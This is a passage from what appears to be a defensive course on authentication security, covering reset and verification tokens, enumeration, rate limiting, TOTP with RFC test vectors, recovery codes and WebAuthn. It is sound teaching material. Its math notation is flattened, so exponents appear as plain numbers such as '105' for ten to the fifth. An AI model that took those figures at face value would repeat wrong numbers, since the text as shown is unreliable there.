Sign-up, email verification, password reset, changing an email address, changing a password, adding a second factor. They look like product features and they are all the same security object: a mechanism that turns possession of a mailbox into control of an account.

That framing settles most design questions at once. If the reset link is a credential, then it needs the entropy of a credential, the expiry of a credential, the storage of a credential, and single use. If control of the mailbox yields control of the account, then no part of your authentication is stronger than the user's email provider, which is a genuine limit worth saying out loud to yourself before you design a second factor around it.

It also explains the ordering rule that catches teams repeatedly. Any flow that changes where credentials are delivered, or what they are, must be gated on the current credential. Changing an email address without asking for the password lets an attacker with a borrowed session move the account's recovery channel to their own mailbox, at which point every recovery flow you built works perfectly for them.

One token, hashed, single use, short lived

All the email-borne flows share one object, and it is worth writing once.

async function issueToken(kind, userId, minutes) {
  const bytes = new Uint8Array(32);
  crypto.getRandomValues(bytes);
  const token = bytes.toBase64({ alphabet: "base64url" });

  await db.deleteTokens({ kind, userId });          // one live flow at a time
  await db.insertToken({
    kind,                                            // "verify" | "reset"
    userId,
    hash: await sha256(token),                       // never the token
    expiresAt: Date.now() + minutes * 60_000,
    usedAt: null
  });
  return token;                                      // goes in the email, nowhere else
}

Five properties, each of which fails a real system when it is missing.

Entropy. Thirty-two random bytes. Nothing derived from the user ID, the email address or the time, because anything derivable is guessable.

Hashed at rest. The tokens table is a database table with the same leak risk as any other, and a leaked reset token is an account. Fast SHA-256 is correct here for the same reason as with session tokens: the input is 256 bits of uniform randomness, so there is no candidate list to search.

Expiry. Fifteen to sixty minutes for a reset. Not because the token becomes guessable, since 105 guesses per second for a full hour explores 3.6×108 candidates out of 2256, but because the token sits in a mailbox, and mailboxes are read by people other than their owner: a shared laptop, a synced device given to a child, a corporate archive, an ex-partner. Expiry limits how long that copy is dangerous.

Single use. Mark usedAt and refuse a second presentation, in the same transaction that applies the change, so two concurrent requests cannot both succeed. Without this, the link in the mailbox stays live after the user has finished with it.

One live flow at a time. Issuing a new reset invalidates the previous one. Otherwise a user who clicks "forgot password" five times leaves five live credentials in their mailbox, and an attacker with any one of them wins.

Sign-up and verification

Sign-up has one job beyond creating the row: establishing that the person controls the address they claimed. Skip it and you have accounts that cannot be recovered, mail that bounces, and a way for an attacker to squat on somebody else's address before they arrive.

The safe shape is to create the account in an unverified state, send a verification link, and withhold whatever matters until it is clicked. What "matters" is a product decision, and the useful line is anything visible to other people or costly to undo: posting, inviting, receiving notifications from other users. Blocking the entire product until verification loses users who typed their address correctly and are waiting on a slow mail server.

There is a specific attack the unverified state must handle, sometimes called pre-hijacking. An attacker signs up with [email protected] and never verifies. The real owner later arrives, cannot register because the address is taken, and uses "forgot password" instead, verifying the address in the process. If your reset flow lands them in the attacker's pre-created account, and the attacker had already added their own second factor or an OAuth link, the attacker retains a way in. Two rules close it: an unverified account holds no state that survives verification by a different person, and completing a reset on an unverified account clears any second factor and any linked identity provider that was added before verification.

Verification links are consumed by things that are not the user. Corporate mail scanners fetch every URL in a message to check it for malware, which means a GET /verify?token=... may be consumed before the user sees the email. The fix is to make the link land on a page that shows a button, and perform the change on the POST. This is the same rule as the previous lesson's, that GET must not have side effects, arriving from a completely different direction.

Example. A team issues reset tokens as base64(userId + ":" + Date.now()), valid for 24 hours, stored in plain text, and not invalidated on use. Enumerate what an attacker can do.

Four separate attacks. The token is not random at all, so an attacker who knows the user ID and the approximate second of the request reconstructs it, and even without the second, a day's worth of milliseconds is 8.64×107 candidates, walkable at any tolerated request rate. It is stored in plain text, so a leaked table is a set of live account takeovers. Twenty-four hours is a long time for a credential sitting in a mailbox. And because it is not consumed, the link keeps working after the user has reset, so anyone who later reads that mailbox takes the account. Any one of the four is enough on its own.

Now you. A verification link is GET /verify?token=... and marks the address verified when fetched. Users report that their account is sometimes verified before they click. What is happening, and what is the fix?

Answer

Something machine-driven is fetching the URL: a corporate mail gateway scanning links for malware, an antivirus client, or the mail client prefetching for a preview. The verification therefore happens without the user, which defeats the point of proving a person read the mailbox, and consumes a single-use token so the user's own click fails. Make the link a GET that renders a page with a "Confirm my email" button, and perform the verification on the POST from that button. Scanners issue the GET and stop.

Reset, and the two rules people break

Password reset is the flow attackers reach for first, because it is designed to hand over an account to someone who has forgotten how to prove they own it.

The flow is: request with an email address, always answer the same way, send a link only if the account exists, land on a page with a form, and on submission validate the token, change the password, consume the token, and invalidate every existing session for that user.

Two rules inside that are broken constantly.

A reset must not sign you in. It is tempting: the user proved control of the mailbox, so why make them type the password they just chose. The reason is that the entire strength of the flow rests on the mailbox, and a token in an inbox is a weaker credential than a password chosen and typed. Also, the person clicking may not be the person who requested it, since a reset can be requested for anyone by anyone. Complete the reset, then send them to the login form.

A reset must end every other session. The common case is a user resetting because they believe they are compromised. If the attacker's session survives the reset, the reset accomplished nothing at all. Delete every session row for that user, revoke every refresh token family, and while you are there, send a notification to the address on file saying the password changed, because that mail is how a victim finds out.

Password change while signed in has a symmetric rule pointing the other way: require the current password, then invalidate every session except the current one, or the user signs themselves out by changing their password, learns that changing the password is annoying, and stops doing it.

Email change deserves its own care because it moves the recovery channel. Require the current password, send a confirmation link to the new address to prove the user controls it, and send a notice to the old address with a way to object. Do not switch the address of record until the new one is confirmed, so a typo does not orphan the account. The notice to the old address is the part most often skipped, and it is the only thing that tells a victim their account has been taken.

Enumeration, and how much of it you can actually fix

Every flow so far answers a question the attacker wants answered: does an account exist for this address. That matters because it turns an untargeted list into a targeted one, tells a phisher which service to impersonate, and reveals membership of a site somebody may not want to be known to use.

Six places leak it, and each needs a deliberate answer.

Login says "no such user" instead of "wrong password", so use one message and one status for both. Login timing then leaks the same thing by returning fast when the expensive hash never ran, which the dummy hash from the passwords lesson fixes. Reset request says "we have sent you an email" only when the account exists, so say it always and send nothing when it does not. Rate limit responses differ if you apply a per-account limit only to accounts that exist.

Sign-up is the hard one, because "that email is already registered" is genuinely useful and the honest alternative is confusing. The approach that works is to accept the sign-up silently and branch in the mail: a new address receives the verification link, an existing one receives a message saying somebody tried to register with this address and offering a reset link. The experience stays coherent and the response reveals nothing.

Side channels leak it anyway: a profile page at /u/ada that 404s for absent users, a search box, an invite flow that reports "already a member".

Be honest about what is achievable. A determined attacker with a large list and a target service often gets enumeration from somewhere, because the surface is wide and the product usually needs to say something true at some point. The goal is to make it cost something and to close the cheap paths, not to claim perfection. Where the information is genuinely sensitive, an anonymous mental health service, say, the product design has to change too, not just the error strings.

Example. A sign-up form returns HTTP 409 with "That email is already registered". Rewrite the flow so it reveals nothing, and say what the user sees in each case.

Return the same 200 and the same page in both cases: "Check your inbox to finish signing up." Then branch in the mail. A new address receives the verification link and completes registration normally. An existing address receives a message saying somebody attempted to register with this address, that an account already exists, and offering a sign-in link and a reset link. The legitimate user who forgot they had an account is helped rather than confused, and an attacker probing addresses learns nothing from the response, since it is byte-identical either way. Make sure the timing matches too: both paths must send a mail and take the same work.

Now you. A reset endpoint returns 200 with "Check your email" for every address, but responds in 40 ms for unknown addresses and 300 ms for known ones. What leaks, and what is the cause?

Answer

The whole thing leaks: 40 against 300 milliseconds is a wide and reliable signal, so the identical response body buys nothing. The cause is that the known path does real work, generating a token, writing a row and handing off to the mail queue, while the unknown path returns immediately. Fix it by doing comparable work in both branches, or better, by making the response independent of the work: accept the request, return the response, and queue the token generation and mail as a background job so both paths return in the same few milliseconds.

Rate limiting that survives contact with a botnet

Rate limiting is what stops guessing, and the naive form is aimed at an attacker who no longer exists.

Limit by IP address alone and do the arithmetic. A credential stuffing run has a million email and password pairs from other breaches and a pool of 50,000 residential proxy addresses. That is 106/5×104=20 attempts per address, spread over hours. A limit of 100 attempts per IP per hour never triggers once. Meanwhile the same limit blocks a university, an office behind one NAT gateway, or a mobile carrier's shared address, so it inconveniences exactly the people who are not attacking you.

Limit by account alone and you have handed the attacker a denial of service, dealt with below.

The workable arrangement uses several counters at once, each aimed at a different attacker.

Per account, per window. Five failed logins in fifteen minutes, then escalating delay. This stops a targeted guess against one person, and it is the counter an attacker with a large IP pool cannot dodge, because the target is fixed.

Per IP, generously. A high limit a household never reaches but a single-address brute force does. A backstop, not the main defence.

Globally, on failure rate. What actually detects credential stuffing is the ratio of failed to successful logins across the whole service. Normal traffic holds a stable ratio; a stuffing run drives it up sharply within minutes however the source addresses are spread. Alert on it, and prepare a response such as requiring a second factor from everyone.

Per credential pair. Remember recent failures by the hash of the attempted email and password, and refuse a repeated pair. Stuffing replays the same pairs across many services and often within one.

For the per-account counter, exponential backoff beats a hard lockout. Delay the response by one second after the first failure, two after the second, four after the third, doubling to a cap. Ten consecutive failures cost 1+2+4++512=1023 seconds, just over 17 minutes of accumulated waiting, and the eleventh attempt waits 1024 seconds on its own. A legitimate user who mistypes twice notices nothing; a guessing attack dies. Store the counter keyed on the account, reset it on a successful login, and apply the delay before the password hash runs so you are not paying 300 ms of CPU per attempt to punish an attacker.

Lockout and CAPTCHA, and what they actually buy

Account lockout after N failures is the intuitive control and it is a denial of service you operate against your own users. An attacker who wants to lock out ten thousand accounts sends five deliberately wrong passwords to each, which is 50,000 requests, a few minutes of work, and now ten thousand people cannot sign in and your support queue is the real damage. If you must have a hard lockout, make it temporary and short, minutes rather than hours, and prefer the escalating delay, which imposes the same cost on the attacker without the cliff.

There is one place where a lock is right: when the evidence points at a compromised account rather than a guessing attempt, such as a successful login from a new country immediately followed by a change of email and a bulk export. That is a response to detection, not a response to a counter.

CAPTCHA is widely misunderstood. It does not verify humanity; solving services price a thousand solves in the low single digits of dollars, so a determined attacker treats it as a small tax. What it does is break automation cheaply enough to be worth having: it stops the trivial script, and it raises the cost per attempt by enough to make a large campaign uneconomic when combined with the counters above. Show it conditionally, after a few failures or when the global failure ratio is elevated, rather than to everyone on every login, because the accessibility cost of a challenge on every visit is real and falls on people who cannot easily route around it.

Example. A service limits logins to 100 per IP per hour and locks an account for one hour after five failures. An attacker has 50,000 proxy addresses and one million stolen credential pairs. What happens?

The IP limit never fires: a million attempts across fifty thousand addresses is twenty per address, well under 100. The lockout does fire, but only for accounts where the attacker guesses wrong, so the attacker's correct guesses succeed and the wrong ones lock out innocent users. If a typical stuffing run succeeds on around 0.1 percent of pairs, roughly 1,000 accounts are taken and something close to the other 999,000 are locked out, which is a service-wide outage caused by the defence. The IP limit is aimed at the wrong adversary and the lockout has been turned into the attacker's weapon.

Now you. Replace those two controls with something that works against the same attacker, and say what each part does.

Answer

Keep a generous per-IP limit as a backstop, since it costs nothing and stops the single-address script. Add per-account exponential backoff instead of lockout, so the attacker's wrong guesses cost them time and cost the account owner nothing but a delay they will never encounter. Add a per-credential-pair memory so a replayed pair is refused outright. Then monitor the global ratio of failed to successful logins, which is the only signal that reveals the campaign as a whole, and on a spike require a second factor or a challenge across the board. The parts that matter are the ones keyed to something the attacker cannot rotate: the account and the credential pair. The IP address is theirs to change.

What is left standing

Assume all of it is right. Tokens are random, hashed, short lived and single use. Responses reveal nothing. Backoff makes guessing pointless and the global signal catches campaigns.

There is still exactly one secret between an attacker and any account, and it is the password. Phishing gets it in a minute from a convincing page. Reuse gets it for free from somebody else's breach. Malware on the user's machine reads it as they type. None of the work in this lesson touches any of those, because none of them involves guessing.

The answer is to require a second, independent thing, so that knowing the password is not enough. That is next, and the honest version of it comes with a warning: the most common second factor is itself phishable, which is what makes the lesson after it necessary.

Second factors: TOTP and recovery codes

A second factor is a separate secret that an attacker has to steal separately, and the commonest one is a shared secret plus a clock.

The previous lesson hardened the flows that create accounts and concluded that one secret still stands between an attacker and every account. This lesson adds the second. If you have arrived here directly, the only thing carried over is that HMAC is a keyed hash: a function of a key and a message producing a tag that only a key holder can compute.

What a second factor buys, and what it does not

The three classic categories are something you know, something you have, and something you are. The point is not the taxonomy but independence: two factors help only when compromising one does not compromise the other. A password and a security question are both things you know, both obtainable by phishing, and both often findable in the same breach, so requiring both is one factor with extra steps.

A time-based one-time password, TOTP, is something you have, in the specific sense that a secret was placed on a device and codes are derived from it. Line up what that actually stops.

It stops credential stuffing completely. The attacker has a password from another site and nothing else, so they cannot produce a code. This is the largest category of real attack by volume and it is the main reason to deploy TOTP.

It stops offline cracking of a stolen password file from turning into account access, because the cracked password is not sufficient on its own.

It does not stop phishing, and this is the limitation that matters most. A convincing page asks for the password and then asks for the code, and the user supplies both because that is exactly what the real site would ask. The attacker relays both to the real site within the thirty-second window and is in. Real phishing kits do this automatically, in real time, and the user sees nothing unusual. TOTP raises the cost of a phishing operation from harvesting credentials at leisure to relaying them live, which is a real increase and not a barrier.

It does not stop malware on the user's device, which can read the code as it is displayed, and it does not stop an attacker who has already stolen a live session, since sessions are not re-verified.

So TOTP is worth deploying, it closes the largest category of attack, and it is not the end of the story. The next lesson is about the credential that fixes the phishing case, and understanding precisely why TOTP fails there is what makes that lesson make sense.

From an HMAC to six digits

TOTP is defined in RFC 6238 and is a thin wrapper over HOTP, RFC 4226, so build HOTP first.

The inputs are a shared secret K and a counter C. Take HMAC-SHA-1(K, C) with the counter as eight bytes, big-endian. That gives 20 bytes, which is far too much to type, so RFC 4226 defines dynamic truncation to squeeze it to six digits.

Take the low four bits of the last byte as an offset, which is a number from 0 to 15. Read the four bytes starting at that offset, which is why 15 is the largest usable value: bytes 15 to 18 are the last group that fits inside 20. Clear the top bit of the first of those four, which avoids any confusion between signed and unsigned integers across languages. That leaves a 31-bit number. Take it modulo 106 and pad to six characters.

async function hotp(keyBytes, counter, digits = 6) {
  const key = await crypto.subtle.importKey(
    "raw", keyBytes, { name: "HMAC", hash: "SHA-1" }, false, ["sign"]
  );
  const view = new DataView(new ArrayBuffer(8));
  view.setBigUint64(0, BigInt(counter));

  const mac = new Uint8Array(await crypto.subtle.sign("HMAC", key, view.buffer));
  const offset = mac[19] & 0x0f;
  const binary =
    ((mac[offset] & 0x7f) << 24) | (mac[offset + 1] << 16) |
    (mac[offset + 2] << 8) | mac[offset + 3];

  return String(binary % 10 ** digits).padStart(digits, "0");
}

Two design choices in there look wrong and are not. SHA-1 is used despite being broken for collision resistance, which does not matter for HMAC: HMAC-SHA-1 has no practical attack, and the algorithm was fixed in 2005 with an installed base that cannot be changed. Authenticator apps do support SHA-256 through the provisioning parameters, and interoperability is poorer, so most deployments stay on SHA-1. Truncation discards most of the MAC, which is the point: the output has to be typed by a person, and the security comes from the secret and from rate limiting, not from the width of the code.

The specification ships test vectors, which is the right way to know your implementation is correct. With the ASCII secret 12345678901234567890, counters 0 through 9 must give 755224, 287082, 359152, 969429, 338314, 254676, 287922, 162583, 399871 and 520489. Run the function above against that list before you use it anywhere.

Example. An HMAC-SHA-1 output ends in the byte 0x5a, and the four bytes starting at the resulting offset are 0x9f, 0x03, 0xa2, 0x8c. What six-digit code does dynamic truncation produce?

The offset is the low nibble of 0x5a, which is 0xa, or 10. Clear the top bit of the first byte: 0x9f & 0x7f = 0x1f. Assemble the 31-bit number as 0x1f×224+0x03×216+0xa2×28+0x8c, which is 520093696+196608+41472+140=520331916. Modulo 106 leaves 331916, so the code is 331916.

Now you. The MAC ends in 0xc3 and the bytes at the resulting offset are 0x7f, 0xff, 0xff, 0xff. What is the code, and what does this case show about the masking step?

Answer

The offset is 3. Masking 0x7f with 0x7f changes nothing, so the number is 0x7fffffff=2147483647, the largest a 31-bit value can be. Modulo 106 gives 483647. The case shows why the mask exists: without it a first byte of 0xff would set bit 31, and a language that treats the result as a signed 32-bit integer would read a negative number, whose modulo behaviour differs between languages. Masking guarantees the value is in [0,231) everywhere.

Adding a clock

TOTP replaces the counter with time. Let T0 be an epoch, conventionally 0, and X a step, conventionally 30 seconds. The counter is

C=T-T0X

where T is the current Unix time in seconds. That is the entire difference.

const totp = (keyBytes, seconds, step = 30) =>
  hotp(keyBytes, Math.floor(seconds / step));

RFC 6238 publishes vectors for this too, using eight digits. With the same ASCII secret, T=59 falls in step 1 and must give 94287082. T=1111111109 falls in step 37037036 and gives 07081804, and T=1111111111 crosses into step 37037037 and gives 14050471, which is a good pair to test with because it catches an off-by-one at a step boundary. T=20000000000 gives 65353130 and checks that your implementation has not overflowed a 32-bit counter.

The switch from a counter to a clock trades one problem for another. HOTP's counter can drift out of step when a code is generated and not used, so servers resynchronise by searching ahead. TOTP has no such state, which is why it won, and in exchange it requires both sides to agree on the time.

Getting the secret onto the phone

The server generates the secret, 20 random bytes from crypto.getRandomValues, and has to move it to the authenticator app. The convention is base32 from RFC 4648, without padding, because base32 avoids characters that look alike and can be typed by hand. Twenty bytes become 160/5=32 base32 characters, and the RFC's test secret 12345678901234567890 encodes to GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ.

That string goes into a otpauth:// URI, which is rendered as a QR code:

otpauth://totp/Example:[email protected]?secret=GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ
  &issuer=Example&algorithm=SHA1&digits=6&period=30

Three things about enrolment are easy to get wrong.

Do not activate until a code is verified. Store the secret in a pending state, ask the user for a code from their app, and only then mark the factor active. Otherwise a mis-scanned QR leaves an account with a second factor nobody can produce, and support has to disable it, which is its own attack surface.

Show the secret in text as well as the QR. A user on a desktop with the authenticator on the same machine cannot scan anything.

Encrypt the secret at rest. This one is different from every other secret in this course. A TOTP secret cannot be hashed, because the server must compute codes from it, so verification needs the original. Encrypt it with a key held outside the database, in a key management service or an environment variable, so that a leaked table does not yield every user's second factor. This is the pepper pattern from the passwords lesson, and here it is not optional, because there is no one-way alternative.

Drift, replay, and rate limiting six digits

Clocks disagree. A phone that is 40 seconds fast computes a code for the next step, and the server rejects a code the user can plainly see. So servers accept a window: the current step, one before, and one after.

Work out what that costs. Accepting steps C-1, C and C+1 means any given code is acceptable across three steps of 30 seconds, so a code has a lifetime of up to 90 seconds rather than 30. That is the number to hold: a 90-second replay window. A wider window is not free, and ±2 steps takes it to 150 seconds for no real gain, since a device more than a minute out of true has a problem the server should not paper over.

Within the window, the same code works more than once, which matters if it was observed: read over a shoulder, captured by a phishing relay, logged by a proxy. The fix is to remember the last counter accepted for each user and refuse anything at or below it.

for (const drift of [0, -1, 1]) {
  const counter = Math.floor(Date.now() / 1000 / 30) + drift;
  if (counter <= user.lastTotpCounter) continue;         // already spent
  if (await hotp(secret, counter) === submitted) {
    await db.setLastTotpCounter(user.id, counter);
    return true;
  }
}
return false;

Comparing the generated code with === is a string comparison and leaks timing, in principle. Here the leak is close to worthless, since the codes change every 30 seconds and an attacker cannot replay measurements against a stable target, but the constant-time loop from the first lesson costs nothing and removes the argument.

Some servers track per-user drift, remembering that a particular device runs 30 seconds fast and shifting its window accordingly. It is a real improvement for users with a badly set clock and it is extra state; a fixed window of one step either side is what most deployments run.

The window also sets how guessable the code is. Six digits give 106 possibilities, which is 19.9 bits, and three of them are valid at any moment, so a blind guess succeeds with probability 3×10-6. That sounds small until you divide: even odds need about 3.3×105 attempts, and an endpoint permitting 100 attempts per second gives them up in 56 minutes. At a more modest 10 per second it is 9.3 hours. Neither is a defence.

So this endpoint needs the same treatment as the password endpoint, and RFC 4226 says so explicitly: throttling is required, not advisory. Five attempts per account per window, escalating delay after that, and a counter that persists across sessions so an attacker cannot reset it by starting again. With five attempts the success probability is 5×3×10-6=1.5×10-5, which is acceptable. Two related points: the second-factor step must not be reachable without a successful first factor, or you have handed the attacker unlimited guesses at a 20-bit secret with no password needed, and the intermediate state between "password verified" and "code verified" is itself a credential, so it needs a short expiry, single use, and binding to the browser that started the flow.

Example. A user's phone clock is 75 seconds ahead of the server. With a window of one step either side, does their code verify, and what does the user experience?

No. A 75-second offset is two and a half steps, so the phone is generating the code for step C+2 while the server accepts C-1 through C+1. Every attempt fails, and the user sees a code on the screen that the site insists is wrong, which is the most confusing failure in the whole of authentication. The right response is not to widen the window to ±3, since that would give every code a 210-second life. It is to detect the pattern, by checking a few extra steps out purely to diagnose, and tell the user their device clock is wrong and to enable automatic time.

Now you. With a ±1 window and no replay tracking, an attacker shoulder-surfs a code at the moment the user types it. How long do they have, and what changes with replay tracking?

Answer

Up to 90 seconds, and on average less, since the user consumed part of the window already. That is enough time to type it into a session the attacker already has open, which is exactly what a live phishing relay automates. With replay tracking the server records the counter it accepted and refuses anything at or below it, so the observed code is dead the instant the legitimate login completes, and the window closes to whatever gap exists between the attacker submitting and the user submitting. It does not help if the attacker gets there first, which is why the real answer to phishing is the next lesson.

SMS, and why it keeps being used

Sending a code by text message is the most widely deployed second factor and the weakest, for reasons that have nothing to do with cryptography.

A phone number is not bound to a device. It is bound to an account at a carrier, and that account is recoverable by a support agent who can be persuaded. SIM swapping, where an attacker convinces or bribes a carrier employee to move a number to their own card, is routine, well documented in prosecutions, and requires no technical skill. The SS7 signalling network that carriers use to route messages has interception weaknesses that have been demonstrated repeatedly. Messages appear on lock screens. Numbers are recycled to new subscribers after a period of disuse. And SMS is phishable exactly like TOTP, with the added weakness that the user has no way to tell which site requested the code.

NIST SP 800-63B has discouraged SMS as a restricted authenticator since 2017, with the practical meaning that you should offer something better and, if you keep SMS, tell the user it is the weakest option.

Despite all of that, SMS raises the bar substantially against the most common attack, which is untargeted credential stuffing, and it is the only second factor a large fraction of users will actually enable. The defensible position is to support it, to not make it the default, to offer TOTP and passkeys prominently, and never to allow SMS to reset a stronger factor. That last rule is the one that gets broken: an account with a hardware key and an SMS fallback is an account with SMS security.

Recovery codes, and the part everyone gets wrong

Phones are lost, wiped and replaced. Without a recovery path, enabling a second factor means one dropped phone equals one destroyed account, so every deployment issues recovery codes, and they are usually the weakest link in the whole design.

The reason is that a recovery code is a full authentication bypass. Anything true of the password is true of it, and it is generated by you rather than the user, which means the strength is entirely your choice and entirely your fault.

Get four things right.

Enough entropy. A common format is ten codes of ten base32 characters. Each carries 10×5=50 bits, and any of the ten works, so the effective target is 250/10=1.13×1014. Against an attacker with a stolen database, hashing those with SHA-256 at 2.19×1010 per second gives 1.13×1014/2.19×1010=5.1×103 seconds, an hour and a half. Fifty bits is not enough for a value stored as a fast hash.

So hash them properly, or make them longer. Two ways out, and both work. Either raise each code to 128 bits, which needs 26 base32 characters and is unpleasant to write on paper, or keep them at 50 bits and store them with the password hash from the second lesson. At Argon2id's roughly three evaluations per second per core, 1.13×1014 candidates is beyond any attacker. Most deployments should do the second, because the cost is one slow hash on a rare flow.

Single use, and countable. Mark each as spent, show the user how many remain, and offer regeneration. Regenerating replaces the whole set, never adds to it.

Treat use as an event. A recovery code redemption is a strong signal: it means the primary factor failed. Notify the account's email, note it in the security log, and consider requiring a password reset afterwards.

Example. A service issues eight recovery codes of eight base32 characters each, stored as SHA-256. How strong is that against an attacker holding the database?

Each code carries 8×5=40 bits, so the space is 1.10×1012, and eight codes match, giving an effective 1.37×1011. At 2.19×1010 SHA-256 hashes per second that is 6.3 seconds. Six seconds, and the second factor is bypassed for every user in the file. The whole cost of TOTP was paid for nothing.

Now you. Keeping eight-character codes for usability, how would you make that design safe, and what is the new cost to the attacker?

Answer

Store them with Argon2id at the same parameters as passwords instead of SHA-256. Take a conservative attacker rate of 1,000 guesses per second, which is generous for a memory-hard function: 1.37×1011/103=1.37×108 seconds, about 4.4 years per account, against six seconds before. The change costs one slow hash per recovery attempt, on a flow used perhaps once in an account's lifetime. The alternative of lengthening the codes also works and is worse for the user, who has to copy them accurately onto paper.

The gap that remains

Everything in this lesson rests on a secret shared between the server and the user's device, and on the user reading a number off a screen and typing it into a page. The second half is the problem. Nothing in the protocol ties the code to the site that asked for it, so a code typed into examp1e.com works perfectly at example.com, and a relay in the middle spends it before it expires.

The fix cannot be a better shared secret or a shorter window. It has to be a credential that knows which site it is talking to and refuses to produce anything usable for the wrong one. That means public key cryptography, a signature over the origin, and a browser that decides which credential applies. That is a passkey, and it is next.

Passkeys and WebAuthn

Every credential so far is a secret the user hands over, which means a convincing page can ask for it and receive it.

The previous lesson ended on exactly that failure: a TOTP code typed into the wrong site works at the right one. This lesson is about the credential that closes it. If you have arrived here directly, what you need is the idea of a public and private key pair, where the private key signs and the public key verifies, and that a browser origin is the triple of scheme, host and port.

What changes when the secret never leaves the device

A passkey is a key pair. When a user registers, their device generates a fresh pair, keeps the private key, and gives the site the public key. Signing in means the server sends a random challenge, the device signs it, and the server verifies the signature against the public key it stored.

Three consequences fall out immediately, and they are worth stating before any of the mechanics.

Nothing worth stealing is stored on the server. The database holds public keys. An attacker who takes the whole users table gets nothing they can authenticate with, and there is no hashing decision to make, no work factor, no offline cracking to slow down. The entire second lesson becomes unnecessary for accounts that use only passkeys.

Nothing is replayed. The signature covers a fresh challenge, so a captured signature is worthless the moment the challenge is spent. There is no window as there is with TOTP.

The user cannot give it away. They do not know the private key, they cannot read it off a screen, and the platform will not export it to a page. A phishing site can ask for anything it likes and there is nothing for the user to type.

The word "passkey" is a name for a WebAuthn credential presented in the way users now expect: discoverable, usually synced across a person's devices through their platform account, and unlocked with a fingerprint, a face or a device PIN. WebAuthn is the W3C specification underneath, and FIDO2 is the pair of it with CTAP2, the protocol a browser speaks to an external security key. The mechanics below are WebAuthn; passkey is what the product calls it.

The registration ceremony

Registration starts on the server, because the challenge must come from the server and be remembered.

const challenge = new Uint8Array(32);
crypto.getRandomValues(challenge);
await session.set("challenge", challenge);   // server side, single use, short lived

const options = {
  challenge,
  rp: { id: "example.com", name: "Example" },
  user: {
    id: userHandleBytes,                     // opaque, not the email, up to 64 bytes
    name: "[email protected]",
    displayName: "Ada"
  },
  pubKeyCredParams: [{ type: "public-key", alg: -7 }, { type: "public-key", alg: -257 }],
  authenticatorSelection: { residentKey: "required", userVerification: "required" },
  attestation: "none",
  excludeCredentials: existing.map(c => ({ type: "public-key", id: c.rawId }))
};

const credential = await navigator.credentials.create({ publicKey: options });

Five of those fields decide whether the result is trustworthy.

challenge is at least 16 bytes and in practice 32, generated per attempt, stored server side, and consumed on use. A predictable or reused challenge lets an attacker replay a signature they captured earlier.

rp.id is the relying party identifier: your domain, and the credential is bound to it. It must be the current domain or a registrable suffix of it, so a page on app.example.com may set example.com and widen the credential to every subdomain, or set app.example.com and keep it narrow. Widening is a decision, not a default, and it puts every subdomain inside the credential's scope in the same way the cookie lesson's Domain attribute did.

user.id is an opaque byte string that the authenticator stores and hands back at login. It must not be an email address or anything else identifying, because it is written to the authenticator and may be visible in a credential picker on a shared device. Generate 16 random bytes per user and keep the mapping in your database.

pubKeyCredParams lists acceptable algorithms by COSE identifier, most preferred first. -7 is ES256, ECDSA over P-256 with SHA-256, which every authenticator supports. -257 is RS256, needed by some older platform authenticators. Listing both covers essentially everything.

authenticatorSelection carries the two choices that shape the product. residentKey: "required" asks for a discoverable credential, which is what makes usernameless sign-in possible. userVerification: "required" demands that the authenticator check a fingerprint, face or PIN, which is what makes the credential two factors in one gesture: something you have, the device, and something you know or are, the unlock. With userVerification: "preferred", an authenticator may return a credential with only a touch, which is one factor.

excludeCredentials stops a user registering the same authenticator twice, which otherwise produces a duplicate they cannot tell apart.

What comes back, byte by byte

The credential returned has a response containing clientDataJSON and attestationObject.

clientDataJSON is UTF-8 JSON assembled by the browser, not by the page:

{
  "type": "webauthn.create",
  "challenge": "p5aV2uHXr0AOqUk7HQitvi-Ma5-JfLGdxjmy2xkoLFA",
  "origin": "https://example.com",
  "crossOrigin": false
}

The origin field is the part that ends phishing, and it is worth being precise about why: the page cannot influence it. The browser writes the origin the script is actually running on, and the authenticator signs over the whole structure, so the server can see where the ceremony really happened.

attestationObject is CBOR containing fmt, attStmt and authData. The authData is a byte string with a fixed layout, and reading it by hand once is the fastest way to understand the protocol:

  • 32 bytes: rpIdHash, which is SHA-256 of the relying party identifier
  • 1 byte: flags
  • 4 bytes: signature counter, big-endian
  • then, only if the AT flag is set, the attested credential data: AAGUID, credential ID length, credential ID, and the public key in COSE format
  • then, only if the ED flag is set, extension outputs

So the minimum is 32+1+4=37 bytes. The flags byte carries six meanings in its bits: 0x01 UP, user present, meaning somebody touched it; 0x04 UV, user verified, meaning a biometric or PIN was checked; 0x08 BE, backup eligible; 0x10 BS, backup state, meaning it is currently backed up; 0x40 AT, attested credential data included; 0x80 ED, extension data included. A flags byte of 0x5d is 01011101, which reads as UP, UV, BE, BS and AT: a verified, synced passkey being registered.

BE and BS are how you tell a synced passkey from one confined to a single piece of hardware. If BE is clear, the credential cannot leave that device, so losing the device loses the credential and the account needs another way in.

Example. A registration arrives with a flags byte of 0x41 and your options asked for userVerification: "required". What does the byte say, and what should the server do?

0x41 is 01000001, so the bits set are 0x01 UP and 0x40 AT. The user touched the authenticator and attested credential data follows, which is expected for a registration. What is missing is 0x04 UV: no fingerprint, face or PIN was checked. The authenticator has returned a single-factor credential despite the request, which is permitted, since required can be refused by an authenticator that cannot do it. The server must reject the registration rather than store the credential, because storing it means later logins will present one factor while the code believes two were used. Tell the user their authenticator needs a PIN or biometric enabled.

Now you. An authentication response carries a flags byte of 0x1d. Read it, and say what you know about the credential.

Answer

0x1d is 00011101: UP 0x01, UV 0x04, BE 0x08 and BS 0x10. So the user was present and verified with a biometric or PIN, which is what a login should look like. AT is clear, correctly, since attested credential data appears only at registration. BE and BS together say the credential is backup eligible and currently backed up, meaning a synced passkey that exists on more than the one device. If your service requires a hardware-bound credential you would refuse this; for almost every service it is the desirable case, because the user will not be locked out by a dropped phone.

Authentication, and what is signed

Signing in uses the same shape with a different verb.

const challenge = new Uint8Array(32);
crypto.getRandomValues(challenge);
await session.set("challenge", challenge);

const assertion = await navigator.credentials.get({
  publicKey: {
    challenge,
    rpId: "example.com",
    userVerification: "required",
    allowCredentials: []          // empty: let the browser offer discoverable credentials
  }
});

The response carries clientDataJSON with "type": "webauthn.get", an authenticatorData that is now the bare 37 bytes with no attested credential data, a signature, and a userHandle holding the user.id from registration.

What the authenticator signed is the one detail people get wrong when implementing this from scratch. It is not the challenge, and it is not the client data. It is

authenticatorDataSHA-256(clientDataJSON)

the raw authenticatorData bytes concatenated with the digest of the client data. Concatenating in the other order, or signing the client data directly, or hashing the whole thing before verifying, all produce a signature that never validates, and the error message will not tell you which.

Verifying it on the server

